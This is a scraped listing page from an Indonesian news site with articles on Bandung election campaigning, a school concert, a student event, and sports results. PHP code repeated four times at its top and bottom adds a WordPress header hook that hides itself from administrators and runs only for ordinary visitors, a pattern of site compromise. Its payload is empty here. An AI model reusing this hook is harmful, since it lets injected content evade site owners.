if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999); Vista Nusantara - Laman 238 dari 271 -
?> if (!function_exists(‘f5cda30b4’)) { function f5cda30b4() { if (is_admin() || (function_exists(‘is_user_logged_in’) && is_user_logged_in() && function_exists(‘current_user_can’) && current_user_can(‘manage_options’))) { return; } echo ‘' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);

Blog

?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);
  • Komitmen Mutya Assegaf untuk Bandung Inklusif

    BANDUNG, VISTA NUSANTARACalon wali kota Bandung, Arfi Rafnialdi punya komitmen kuat untuk memperjuangkan aspirasi rakyat. Selain terjun langsung untuk mendengar berbagai aspirasi, Kang Arfi turut dibantu istrinya, Mutya Assegaf.
    Mereka berdua kompak berbagi tugas untuk mendengar berbagai keluh kesah warga Kota Bandung. Seperti yang dilakukan Mutya saat mengunjungi kelompok disabilitas di Kecamatan Coblong, Minggu (20/10/2024).
    Sebagai istri calon wali kota, Mutya menunjukkan dedikasinya dengan aktif terjun ke lapangan untuk mendengarkan aspirasi warga. Dalam berbagai kesempatan, ia terlibat dalam kegiatan sosial, menunjukkan komitmennya untuk memahami dan membantu masyarakat. Keberadaannya di tengah masyarakat tidak hanya memperkuat dukungan bagi suaminya, tetapi juga menciptakan hubungan yang lebih dekat antara calon pemimpin dan warga.
    Mutya menyampaikan bahwa salah satu isu yang paling sering muncul dalam kegiatannya bertemu warga adalah masalah ekonomi, yang berdampak signifikan pada kesejahteraan hidup dan kualitas tempat tinggal masyarakat. Ia menekankan pentingnya memahami tantangan ekonomi yang dihadapi warga agar dapat merumuskan solusi yang tepat guna untuk meningkatkan taraf hidup mereka. Dalam diskusi tersebut, Mutya juga menyoroti perlunya program-program yang mendukung pengembangan ekonomi lokal, menciptakan lapangan kerja, dan memberikan akses yang lebih baik terhadap sumber daya dan layanan bagi masyarakat.
    “Dalam program Jumat Berkah dan blusukan, saya sering menemukan masalah utama terkait ekonomi, yang berpengaruh pada kesejahteraan hidup dan tempat tinggal. Di Bandung, masih banyak hunian yang tidak layak,” ujar Teh Mutya.
    Mutya mengaku sedih melihat kondisi tersebut, terutama ketika berhadapan dengan warga lanjut usia yang kurang mendapatkan perhatian. Ia merasa prihatin terhadap mereka yang sakit namun tidak mampu berobat, mengingat pentingnya akses terhadap pelayanan kesehatan bagi semua lapisan masyarakat. Keprihatinannya ini mendorongnya untuk terus berjuang demi perbaikan kehidupan warga, terutama bagi mereka yang paling rentan. Mutya menegaskan bahwa pemerintah perlu lebih aktif dalam menyediakan layanan kesehatan yang terjangkau dan menjangkau seluruh lapisan masyarakat, sehingga tidak ada yang tertinggal dalam mendapatkan hak-hak dasar mereka.
    Hal itu, kata Mutya, menjadi pelajaran penting bahwa ada beberapa aspek yang perlu mendapat perhatian lebih dari pemerintah, khususnya terkait masalah ekonomi, tempat tinggal, dan kesehatan penduduk lanjut usia. Ia menekankan pentingnya program yang mendukung kesejahteraan warga, terutama bagi mereka yang rentan, agar tidak ada yang tertinggal dalam pembangunan dan akses terhadap layanan dasar. Mutya berpendapat bahwa kolaborasi antara pemerintah dan masyarakat sangat penting untuk menciptakan solusi yang efektif dalam mengatasi tantangan ini, sehingga setiap individu dapat merasakan manfaat dari kemajuan yang ada.
    “Bagi saya, yang utama itu warga tenang kalau tahu besok bisa makan apa, anak bisa sekolah, dan kalau sakit bisa berobat. Pemerintah harus memperhatikan tiga hal ini, ekonomi, pendidikan, dan kesehatan,” tegasnya.
    Teh Mutya juga menyoroti pentingnya program inklusif yang dapat memfasilitasi semua kalangan masyarakat, termasuk lansia, penyandang disabilitas, dan anak-anak berkebutuhan khusus. Ia berpendapat bahwa Kota Bandung harus menjadi tempat tinggal yang nyaman dan aman bagi semua orang, tanpa terkecuali. Program-program ini diharapkan dapat memberikan dukungan yang memadai untuk meningkatkan kualitas hidup dan kesejahteraan seluruh warga. Dengan adanya kebijakan yang ramah bagi semua lapisan masyarakat, Mutya berharap dapat menciptakan lingkungan yang lebih adil dan setara, di mana setiap individu merasa dihargai dan diperhatikan dalam setiap aspek kehidupan.
    “Penting sekali bahwa program inklusif harus mampu menjangkau seluruh masyarakat, terutama mereka yang tidak sehat atau memiliki kebutuhan khusus. Pemerintah harus bisa memfasilitasi ini,” ujarnya.
    Dia juga menyinggung persoalan stunting, menyatakan bahwa pengentasan masalah ini dapat dilakukan melalui posyandu dengan dukungan dana dari Program Inovasi Pemberdayaan Pembangunan Kewilayahan (PIPPK). Menurutnya, program ini penting untuk memastikan anak-anak mendapatkan nutrisi yang cukup dan perhatian yang diperlukan untuk tumbuh kembang yang optimal. Dukungan pemerintah dalam bentuk dana dan program yang terintegrasi di posyandu diharapkan dapat membantu mengurangi angka stunting dan meningkatkan kesehatan anak di Kota Bandung. Dengan adanya pendekatan yang komprehensif ini, Teh Mutya percaya bahwa setiap anak berhak memperoleh masa depan yang lebih baik dan sehat, serta dapat berkontribusi positif bagi masyarakat di sekitarnya.
    “Di Posyandu Babakan Ciparay, saya temui kasus stunting hanya satu, namun secara keseluruhan angka stunting di Bandung masih tinggi. Ini menunjukkan bahwa pemberdayaan Posyandu belum optimal, dan bisa didukung melalui dana PIPPK,” tandasnya.***
  • Five Live Thelemafotia, Pesta Seni Spektakuler di SMAN 5 Bandung

    BANDUNG, VISTA NUSANTARASebuah acara musik yang spektakuler akan segera hadir di Kota Bandung, tepatnya di Lapangan Wiradhika Secapa AD. Pada tanggal 26 Oktober 2024, acara bertajuk “Five Live: Thelemafotia” akan menjadi panggung yang memukau, di mana siswa-siswi kreatif dari SMAN 5 Bandung akan menampilkan beragam pertunjukan seni mulai dari tarian, musik, hingga teater atau kabaret. Tidak hanya itu, sejumlah artis papan atas nasional juga akan ikut memeriahkan acara ini.
    Five Live: Thelemafotia merupakan acara tahunan SMAN 5 Bandung yang bertujuan untuk menjadi ajang unjuk bakat bagi siswa-siswi dalam bidang seni dan kreativitas. Tahun ini, acara tersebut hadir dengan tema Thelemafotia, yang memiliki filosofi “tekad yang tidak tergoyahkan dan kehendak yang gigih”. Api, sebagai simbol acara ini, melambangkan kehangatan dan kekuatan—menggambarkan semangat dan ketahanan dalam mengejar tujuan, sebuah perwujudan dari Willingness Fire atau api kesungguhan.
    Acara ini akan diramaikan oleh penampilan dari artis-artis top Indonesia, antara lain:
    – Bernadya – Penyanyi bersuara lembut dengan lagu-lagu galau yang penuh perasaan.
    – Adikara – Solois muda berbakat dengan karakter suara yang khas.
    – The Cangcuters – Band rock n roll enerjik yang selalu menghadirkan penampilan yang menghibur.
    – The S.I.G.I.T. – Band rock legendaris asal Bandung dengan performa memukau.
    – Malik & D’Essentials – Grup musik yang memadukan jazz, soul, dan funk dengan aransemen musik yang kaya.
    – TRIAD (The Rock Indonesia) – Band rock yang dipimpin oleh Ahmad Dhani dengan hits-hits cadasnya.
    – Rossa – Diva pop Indonesia yang siap membawakan lagu-lagu romantis yang menjadi hits di tanah air.
    Ketua pelaksana acara, Abdi Putra Firmansyah, bersama tim panitia, berharap bahwa acara Five Live: Thelemafotia ini dapat menginspirasi generasi muda untuk terus berkarya dan berprestasi. Acara ini juga menjadi kesempatan besar bagi siswa-siswi SMAN 5 Bandung untuk menunjukkan bakat dan kreativitas mereka di hadapan publik luas.
    Panitia menyampaikan terima kasih kepada semua pihak yang telah mendukung terselenggaranya acara ini, mulai dari keluarga besar SMAN 5 Bandung, pihak sekolah, mitra sponsor, hingga para orang tua yang selalu memberikan dukungan penuh.
    Jangan lewatkan Five Live: Thelemafotia pada 26 Oktober 2024 di Lapangan Wiradhika Secapa AD Bandung, mulai pukul 13.00 WIB. Segera dapatkan tiketnya dan bersiaplah menjadi bagian dari sejarah dalam industri musik dan seni pertunjukan Indonesia!.***
  • Kinemaksi, Terobosan UMB dalam Kompetisi SinemAksi Tingkat Nasional

    BANDUNG, VISTA NUSANTARA Universitas Muhammadiyah Bandung mencatat sejarah baru dengan memenangkan penghargaan sebagai Pemenang Proposal Kompetisi Event screening SinemAksi di tingkat nasional. event Kinemaksı Ins merupakan prestasi pertama UMB di tingkat nasional setelah selama ini hanya meraih pencapaian di level regional Jawa Barat, dan sebagian besar prestasi tersebut didominasi oleh individu yang tidak merepresentasikan kampus secara langsung.
    Kinemaksi merupakan wujud dari aspirasi ketua pelaksana dan lahir dari refleksi mendalam yang merasakan kejenuhan selama dua tahun berkuliah di Universitas Muhammadiyah Bandung la menggambarkan suasana kampus seperti “hiu di kolam koi” kampus dengan potensi besar tetapi terjebak dalam lingkungan yang sangat individualistis, minim kolaborasi, kurang aspiratif, dan tidak hidup. Dengan semangat untuk mengubah suasana itu, Kinemaksi hadir sebagai wadah untuk memperkuat budaya kolaborasi, kreativitas, dan aspirasi dan untuk menyebarkan pesan penting mengenai anti-korupsi.
    Event ini tidak hanya menjadi perlawanan anti korupsi, tetapi juga menawarkan berbagai kegiatan seni yang dapat diikuti oleh seluruh mahasiswa baik dalam maupun luar kampus, seperti:
    – Lomba Lukis dengan tema anti-korupsi, sebagai bentuk ekspresi kreatif dalam menyuarakan perlawanan terhadap praktik korupsi.
    – Pemutaran film anti korupsi, yang akan mengajak peserta merenungkan dan mendiskusikan nilai- nilai integritas dan kejujuran.
    – Art Exhibition, meluapkan keresahan lewat street sebagai ruang untuk berpikir kritis, dan masih banyak lagi tentunya.
    Dengan adanya event Kinemaksi ini, kami berharap dapat membangun budaya yang lebih hidup dan penuh aspirasi. Event ini juga diharapkan dapat menginspirasi generasi muda untuk lebih peka terhadap isu-isu korupsi di Indonesia. Mari bergabung dan jadilah bagian dari gerakan perubahan!.***
  • Desak Rita Kusuma Dewi Raih Emas di IFSC Madrid 4 Speed

    VISTA NUSANTARA — Desak Made Rita Kusuma Dewi menyegel medali emas nomor speed putri dalam IFSC Madrid 4 speed di Madrid pada Minggu.


    Dalam final, Rita mencatat waktu tercepat 6,49 detik untuk mengungguli atlet panjat tebing Korea Selatan, Jimin Jeong, yang finis dengan catatan waktu 6,74 detik.

    Rekan senegara Rita, Salsabilah Rajiah menempati peringkat ketiga usai finis dengan catatan 9,65 detik.

    Pada speed putra, Veddriq Leonardo harus puas dengan medali perunggu setelah peraih medali emas Olimpiade Paris 2024 itu finis dengan catatan 5,11 detik.

    Dia kalah cepat dari atlet panjat tebing China Jianguo Long yang finis dengan 4,98 detik dan atlet Kazakhstan Amir Maimuratov.

    Berbeda dengan kejuaraan sebelumnya, format kejuaraan 4 speed mempertandingkan empat atlet secara langsung untuk bersaing dalam empat jalur, lane A hingga D.

    Pada babak kualifikasi, penghitungan waktu tercepat diukur setelah atlet menjajal setiap lane mulai A sampai D.

    Usai melewati babak kualifikasi, atlet yang memasuki 16 teratas akan melaju ke 16 besar dalam format grup. Mereka dibagi empat grup yang masing-masing dihuni empat atlet.

    Dua atlet tercepat dalam setiap grup otomatis mendapatkan tiket semifinal, untuk memperebutkan empat tiket pada final.

    Pada final, empat finalis beradui kecepatan di empat lane untuk memperebutkan podium pertama hingga ketiga.

    Format baru ini untuk pertama kali dilombakan dalam IFSC. Desak merebut medali emas dan kemudian menjadi modal penting Indonesia untuk menjadi negara kuat dalam format 4 speed.

    Hasil IFSC Madrid 4 speed seperti dikutip laman IFSC:

    Putra
    1. Jianguo Long – China (Emas)
    2. Amir Maimuratov – Kazakhstan (Perak)
    3. Veddriq Leonardo – Indonesia (Perunggu)

    Putri
    1. Desak Made Rita Kusuma Dewi – Indonesia (Emas)
    2. Jimin Jeong – Korea Selatan (Perak)
    3. Salsabilah Rajiah – Indonesia (Perunggu)
  • Tim Woodball Indonesia Raih Tiga Emas di Piala Dunia 2024

    VISTA NUSANTARA — Indonesia mengawinkan gelar juara single stroke Piala Dunia Woodball 2024 di Shangyu, China, Sabtu setempat, sehingga total membawa pulang tiga medali emas dan dua medali perak.


    Medali emas dipersembahkan Muhammad Khadiq, Susila Marga Nugraha, Untung Ariska, dan Pratama Aditya dalam stroke beregu putra. Marga meraih medali emas keduanya dari stroke tunggal putra setelah mengalahkan Aditya.

    Medali emas ketiga disumbangkan Siti Mashita dari stroke tunggal putri. Siti juga meraih medali perak stroke ganda campuran bersama Marga.

    “Alhamdulillah bersyukur dan sangat senang sekali bisa mengibarkan bendera Merah Putih di China dan bisa mengharumkan nama bangsa Indonesia,” kata Marga dalam sebuah pernyataan tertulis di Jakarta pada Minggu.

    Ini penampilan kedua Marga dalam Piala Dunia Woodball setelah edisi 2013. Ia mengaku lebih siap tampil karena sudah lebih jeli membaca kekuatan lawan.

    “Apalagi ini mainnya dari PON ke World Cup sangat dekat, jadi auranya masih terbawa, on fire banget untuk berjuang,” lanjutnya.

    Keberhasilan ini membanggakan Indonesia, terutama setelah menghadapi tim-tim kuat seperti China, Hongkong, dan Taiwan.

    Para atlet Indonesia menunjukkan performa luar biasa bagus dan semangat juang yang tinggi sehingga menandingi lawan-lawannya.

    “Ini hasil kerja keras semua pihak, termasuk para atlet, pelatih, dan tentu saja dukungan dari pengurus provinsi yang sudah berkomitmen untuk melahirkan atlet-atlet hebat woodball yang telah membawa harum nama bangsa di kancah dunia,” kata Ketua Umum Pengurus Besar Indonesia Woodball Association (IWbA) Aang Sunadji.***
  • Menjaga Keberlanjutan, Arfi Rafnialdi Tawarkan Inovasi Air Bersih di Blok Banjir

    BANDUNG, VISTA NUSANTARAWilayah RT 6 dan 7 di RW 7, Kelurahan Babakan Tarogong, Kecamatan Bojongloa Kaler, Kota Bandung bernama Blok Banjir. Nama itu merupakan cerminan dari kondisi wilayah yang rawan banjir setiap musim hujan. 
    Calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi, melaksanakan silaturahmi dan menyapa warga Blok Banjir pada Sabtu (19/10/2024). Kegiatan ini merupakan bagian dari program Kang Arfi Mapay Lembur selama 40 Jam Bersama Warga. 
    Kang Arfi didampingi oleh ahli Teknik Sumber Daya Air dan Guru Besar Teknik Sipil dan Lingkungan ITB, Prof. Indratmo. “Dalam rangkaian kegiatan Mapay Lembur 40 Jam Bersama Warga, kami menemukan wilayah yang disebut Blok Banjir. Saat bersilaturahmi, selain mendengarkan langsung keluhan masyarakat, saya juga banyak berdiskusi dengan Prof. Indratmo untuk mencari solusi teknik atas permasalahan yang ada di Blok Banjir,” ujar Kang Arfi saat berinteraksi dengan warga Blok Banjir, Sabtu (19/10/2024).
    Kang Arfi menjelaskan bahwa Blok Banjir menghadapi dilema serius, di mana warga mengalami kekurangan air saat musim kemarau, tetapi justru terjebak dalam banjir ketika musim hujan. Keluhan ini mencerminkan tantangan yang dihadapi oleh masyarakat setempat dalam memenuhi kebutuhan air bersih dan mengatasi masalah banjir.
    “Ibu-ibu curhat, mengharapkan musim hujan agar sumurnya berisi air. Namun, pada sisi lain, warga kebanjiran setiap musim hujan,” tutur Kang Arfi. 
    Menginap di Sekretariat Karang Taruna Tunas Bhakti di Jalan Babakan Irigasi, Babakan Tarogong, Kecamatan Bojongloa Kaler, Kang Arfi mengamati langsung kehidupan sehari-hari warga yang sangat bergantung pada fasilitas penyediaan air untuk memenuhi kebutuhan dasar mereka. Dalam kesempatan tersebut, Kang Arfi juga meminta saran dari Prof. Indratmo mengenai solusi yang lebih baik dan memadai untuk penyediaan air bersih bagi masyarakat setempat.
    “Bagi saya, untuk menjadi pemimpin mesti mau mendengar. Selain itu, menjadi kepala daerah tak melulu yang paling pintar. Akan tetapi, untuk menjadi kepala daerah, mesti mampu mengakses figur-figur pintar dari berbagai disiplin untuk bersama-sama menghadirkan solusi atas persoalan di Kota Bandung,” tutur Kang Arfi. 
    Kang Arfi menyatakan kesiapannya untuk mengimplementasikan saran Prof. Indratmo terkait penanggulangan banjir dan penyediaan air bersih di Blok Banjir serta wilayah lain di Kota Bandung jika diberikan kepercayaan oleh masyarakat untuk memimpin kota ini. Ia menegaskan bahwa saran tersebut akan menjadi panduan penting dalam upaya perbaikan infrastruktur dan layanan publik. Selain itu, Kang Arfi juga mengungkapkan kedekatannya dengan Prof. Indratmo, yang merupakan dosen saat ia menempuh pendidikan di ITB, menambah nilai kepercayaan masyarakat terhadap rencananya.
    “Bukan lagi sebatas bahan pertimbangan, tapi siap melaksanakan (saran teknis Prof Indratmo). Beliau juga berpesan, seumpama daya anggaran Kota Bandung tak memadai, wali kota mesti mampu mengupayakan peluang dukungan dari pemerintah provinsi maupun pusat. Saya sangat sepakat akan hal itu, wali kota mesti proaktif untuk mengupayakan peluang dukungan dari pemerintah provinsi maupun pusat,” ucap Kang Arfi. 
    Setelah meninjau kondisi Blok Banjir, Prof. Indratmo mengusulkan beberapa solusi untuk mengurangi risiko banjir dan memperkuat penyediaan air bersih bagi masyarakat setempat. Ia menekankan bahwa penyelesaian kedua masalah tersebut dapat dilakukan secara feasibly. Beberapa langkah yang diusulkan antara lain pembangunan kolam retensi di hulu, penerapan teknik rekayasa pada sistem drainase, serta manajemen air yang lebih baik melalui penggunaan pompa. Solusi-solution ini diharapkan dapat memberikan dampak positif bagi kehidupan warga dan meningkatkan ketahanan kawasan terhadap masalah air.
    Untuk penanggulangan banjir, Prof Indratmo mengusulkan beberapa solusi, yaitu pembangunan kolam retensi di kawasan hulu, penerapan teknik rekayasa pada sistem drainase, dan manajemen air dengan menggunakan pompa.
    Prof Indratmo mencontohkan teknik rekayasa dalam penanggulangan banjir dengan memasang katup pada pipa-pipa di saluran. Katup tersebut akan tertutup saat permukaan air tinggi dan akan terbuka kembali saat saluran air surut.
    Mengenai penyediaan air bersih sebagai kebutuhan dasar masyarakat, Prof Indratmo menyarankan pemerintah untuk meningkatkan cakupan layanan Perumda Tirtawening. Ia menekankan bahwa pemenuhan kebutuhan air bersih seharusnya didasarkan pada pemanfaatan sumber air permukaan. 
    “Tadi, sempat bertanya ke warga, sumber air bersih berasal dari air tanah. Warga beroleh air dari kedalaman 80 meter. Ketika hal itu terus terjadi, air di dalam tanah semakin dalam, terus turun 1 meter per tahun. Ada ibu yang sempat bilang, punya sumur air dangkal dengan kedalaman 8 meter. Saya jamin, saat ini sumur itu kering,” ujar Prof Indratmo.  
    Mengenai sumber air baku untuk memenuhi kebutuhan masyarakat, Prof Indratmo menyatakan bahwa saat ini sedang dalam proses optimalisasi potensi air permukaan. Salah satu langkah yang diambil adalah menarik air dari Waduk Saguling.
    Telah ada studi ihwal penggunaan air pada Waduk Saguling untuk pemenuhan kebutuhan warga -termasuk di Kota Bandung-. “Kolam-kolam retensi pun termasuk potensi untuk menangani tantangan dalam pemenuhan air masyarakat,” ucap Prof Indratmo.***
  • Silaturahmi di Blok Banjir, Arfi Rafnialdi Siapkan Solusi Kolaboratif Atasi Masalah Air

    BANDUNG, VISTA NUSANTARA Wilayah RT 6 dan 7 di RW 7, Kelurahan Babakan Tarogong, Kecamatan Bojongloa Kaler, Kota Bandung bernama Blok Banjir. Nama itu merupakan cerminan dari kondisi wilayah yang rawan banjir setiap musim hujan. 
    Calon Wali Kota Bandung nomor urut 4, Arfi Rafnialdi bersilaturahmi dan menyapa warga Blok Banjir, Sabtu (19/10/2024). Titik silaturahmi itu merupakan rangkaian dari Kang Arfi Mapay Lembur 40 Jam Bersama Warga. 
    Kang Arfi didampingi oleh ahli Teknik Sumber Daya Air dan Guru Besar Teknik Sipil dan Lingkungan ITB, Prof. Indratmo. “Dalam rangkaian kegiatan Mapay Lembur 40 Jam Bersama Warga, kami menemukan wilayah yang disebut Blok Banjir. Saat bersilaturahmi, selain mendengarkan langsung keluhan masyarakat, saya juga banyak berdiskusi dengan Prof. Indratmo untuk mencari solusi teknik atas permasalahan yang ada di Blok Banjir,” ujar Kang Arfi saat berinteraksi dengan warga Blok Banjir, Sabtu (19/10/2024).
    Berdasarkan keluhan sejumlah warga, Kang Arfi menjelaskan bahwa Blok Banjir mengalami kekurangan air saat musim kemarau, namun dilanda banjir ketika musim hujan. Kondisi ini menciptakan situasi dilematik bagi warga setempat.
    “Ibu-ibu curhat, mengharapkan musim hujan agar sumurnya berisi air. Namun, pada sisi lain, warga kebanjiran setiap musim hujan,” tutur Kang Arfi. 
    Menginap di Sekretariat Karang Taruna Tunas Bhakti, Jalan Babakan Irigasi, Babakan Tarogong, Kecamatan Bojongloa Kaler, Kang Arfi menyaksikan langsung keseharian warga yang bergantung pada fasilitas penyediaan air untuk kebutuhan sehari-hari. Kang Arfi juga meminta masukan dari Prof Indratmo mengenai solusi penyediaan air bersih yang lebih memadai bagi masyarakat setempat.
    “Bagi saya, untuk menjadi pemimpin mesti mau mendengar. Selain itu, menjadi kepala daerah tak melulu yang paling pintar. Akan tetapi, untuk menjadi kepala daerah, mesti mampu mengakses figur-figur pintar dari berbagai disiplin untuk bersama-sama menghadirkan solusi atas persoalan di Kota Bandung,” tutur Kang Arfi. 
    Kang Arfi menyatakan kesiapannya untuk mengikuti saran Prof Indratmo terkait penanggulangan banjir dan penyediaan air bersih di Blok Banjir maupun wilayah lain di Kota Bandung jika diberi kepercayaan oleh masyarakat untuk memimpin Kota Bandung. Terlebih, Prof Indratmo adalah dosen Kang Arfi saat menempuh pendidikan di ITB.
    “Bukan lagi sebatas bahan pertimbangan, tapi siap melaksanakan (saran teknis Prof Indratmo). Beliau juga berpesan, seumpama daya anggaran Kota Bandung tak memadai, wali kota mesti mampu mengupayakan peluang dukungan dari pemerintah provinsi maupun pusat. Saya sangat sepakat akan hal itu, wali kota mesti proaktif untuk mengupayakan peluang dukungan dari pemerintah provinsi maupun pusat,” ucap Kang Arfi. 
    Setelah meninjau kondisi Blok Banjir, Prof Indratmo menyampaikan beberapa solusi untuk mengurangi banjir dan memperkuat penyediaan air bersih bagi masyarakat setempat. Menurutnya, penyelesaian kedua masalah tersebut memungkinkan atau dapat dijalankan secara feasible.
    Untuk penanggulangan banjir, Prof Indratmo mengusulkan beberapa solusi, yaitu pembangunan kolam retensi di kawasan hulu, penerapan teknik rekayasa pada sistem drainase, dan manajemen air dengan menggunakan pompa.
    Prof Indratmo mencontohkan teknik rekayasa dalam penanggulangan banjir dengan memasang katup pada pipa-pipa di saluran. Katup tersebut akan tertutup saat permukaan air tinggi dan akan terbuka kembali saat saluran air surut.
    Mengenai penyediaan air bersih sebagai kebutuhan dasar masyarakat, Prof Indratmo menyarankan pemerintah untuk meningkatkan cakupan layanan Perumda Tirtawening. Ia menekankan bahwa pemenuhan kebutuhan air bersih seharusnya didasarkan pada pemanfaatan sumber air permukaan. 
    “Tadi, sempat bertanya ke warga, sumber air bersih berasal dari air tanah. Warga beroleh air dari kedalaman 80 meter. Ketika hal itu terus terjadi, air di dalam tanah semakin dalam, terus turun 1 meter per tahun. Ada ibu yang sempat bilang, punya sumur air dangkal dengan kedalaman 8 meter. Saya jamin, saat ini sumur itu kering,” ujar Prof Indratmo.  
    Mengenai sumber air baku untuk memenuhi kebutuhan masyarakat, Prof Indratmo menyatakan bahwa saat ini sedang dalam proses optimalisasi potensi air permukaan. Salah satu langkah yang diambil adalah menarik air dari Waduk Saguling.
    Telah ada studi ihwal penggunaan air pada Waduk Saguling untuk pemenuhan kebutuhan warga -termasuk di Kota Bandung-. “Kolam-kolam retensi pun termasuk potensi untuk menangani tantangan dalam pemenuhan air masyarakat,” ucap Prof Indratmo.***
  • Janji Kampanye Dandan dan Arif, Ambisius namun Realistis?

    BANDUNG, VISTA NUSANTARAPasangan Dandan Riza Wardana dan Arif Wijaya mengusung visi Bandung yang agamis, sejahtera, inovatif, dan kolaboratif. 
    Namun, banyak yang mempertanyakan apakah janji-janji mereka dapat diwujudkan atau hanya sekadar retorika yang sulit dicapai. 
    Dalam menghadapi beragam permasalahan kompleks di kota ini, seperti kemacetan, pendidikan, dan kesehatan, masyarakat menunggu strategi konkret dari pasangan ini.
    Janji-janji yang tidak realistis dapat mengurangi kepercayaan publik terhadap calon pemimpin. Oleh karena itu, penting bagi Dandan dan Arif untuk mempresentasikan rencana yang jelas, terukur, dan dapat dilaksanakan untuk menjawab tantangan yang ada, sehingga masyarakat yakin bahwa mereka adalah pilihan yang tepat untuk memimpin Bandung ke arah yang lebih baik.***
  • Perubahan Sikap Politik Dandan dan Arif, Menyusun Komitmen atau Menyesuaikan Diri?

    BANDUNG, VISTA NUSANTARADandan Riza Wardana dan Arif Wijaya mengalami perjalanan politik yang dinamis, dengan keterlibatan dalam berbagai koalisi sepanjang karir mereka.
    Perubahan sikap politik ini menimbulkan keraguan di kalangan pemilih mengenai konsistensi dan komitmen mereka terhadap visi dan misi saat ini. 
    Publik mulai mempertanyakan apakah mereka benar-benar memiliki pendirian yang kokoh, atau sekadar menyesuaikan diri dengan kepentingan politik sesaat.
    Konsistensi dalam visi dan tindakan sangat penting dalam politik. Dandan dan Arif harus mampu menunjukkan bahwa mereka memiliki komitmen yang kuat terhadap visi mereka untuk Bandung, agar dapat mendapatkan dukungan yang dibutuhkan dari masyarakat.***
  • Menpora Dito Ariotedjo Luncurkan Inaspro untuk Majukan Industri Olahraga

    VISTA NUSANTARA — Menteri Pemuda dan Olahraga Republik Indonesia (Menpora RI) Dito Ariotedjo meluncurkan Indonesian Sport Promotor (Inaspro) untuk mendorong kemajuan industri olahraga yang berlangsung di Senayan Park, Jakarta, Jumat malam.


    “Setelah ada Inaspro ini ke depan akan bermanfaat bagaimana nantinya bisa proaktif untuk mendorong majunya industri olahraga” kata Menpora Dito Ariotedjo kepada pewarta.

    Menpora mengatakan bahwa Inaspro, yang merupakan sebuah promotor olahraga, hadir di bawah naungan Lembaga Pengelola Dana dan Usaha Keolahragaan (LPDUK) Kemenpora yang berfungsi sebagai motor penggerak dan jembatan segala potensi dari atlet, event, serta seluruh ekosistem olahraga bertaraf nasional maupun internasional.

    Dengan adanya Inaspro, Dito berharap berbagai produk lokal juga akan merasakan efek domino untuk bisa lebih maju dalam dunia industri olahraga.

    “Olahraga adalah kekuatan yang dapat menyatukan bangsa, membentuk karakter, dan menjadi sumber kebanggaan. Targetnya tentu mendorong event skala dunia masuk ke Indonesia ataupun sebaliknya. Efeknya nanti adalah bagaimana produk lokal juga terbantu bisa maju,” kata Dito.

    Menpora mengatakan bahwa melalui Inaspro ini juga diharapkan bisa menciptakan ekosistem olahraga yang profesional dan lebih inovatif. Karena akan memberikan ruang dan peluang untuk berkembang bagi setiap talenta-talenta olahraga dalam dunia industri olahraga.

    Menpora berpesan bahwa Inaspro akan senantiasa mengedepankan semangat kolaborasi dengan para pelaku industri olahraga baik dari pihak pemerintah maupun swasta yang ada saat ini.

    “Dampaknya itu jelas harus positif bagi para atlet, masyarakat secara luas, dan juga sektor ekonomi kreatif. Inaspro hadir dengan semangat untuk menghubungkan Indonesia dengan dunia olahraga global,” ujar Menpora.

    “Kita akan melahirkan lebih banyak inisiatif baru yang menginspirasi generasi muda. Bersama kita menjadikan Indonesia sebagai salah satu pusat olahraga terkemuka ditingkat internasional,” imbuh Dito.

    Peluncuran program Inaspro ini sekaligus menjadi program penutup Kementerian Pemuda dan Olahraga (Kemenpora) di bawah kepemimpinan Menpora Dito yang akan purna tugas sebagai Menpora Kabinet Indonesia Maju 2019-2024.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);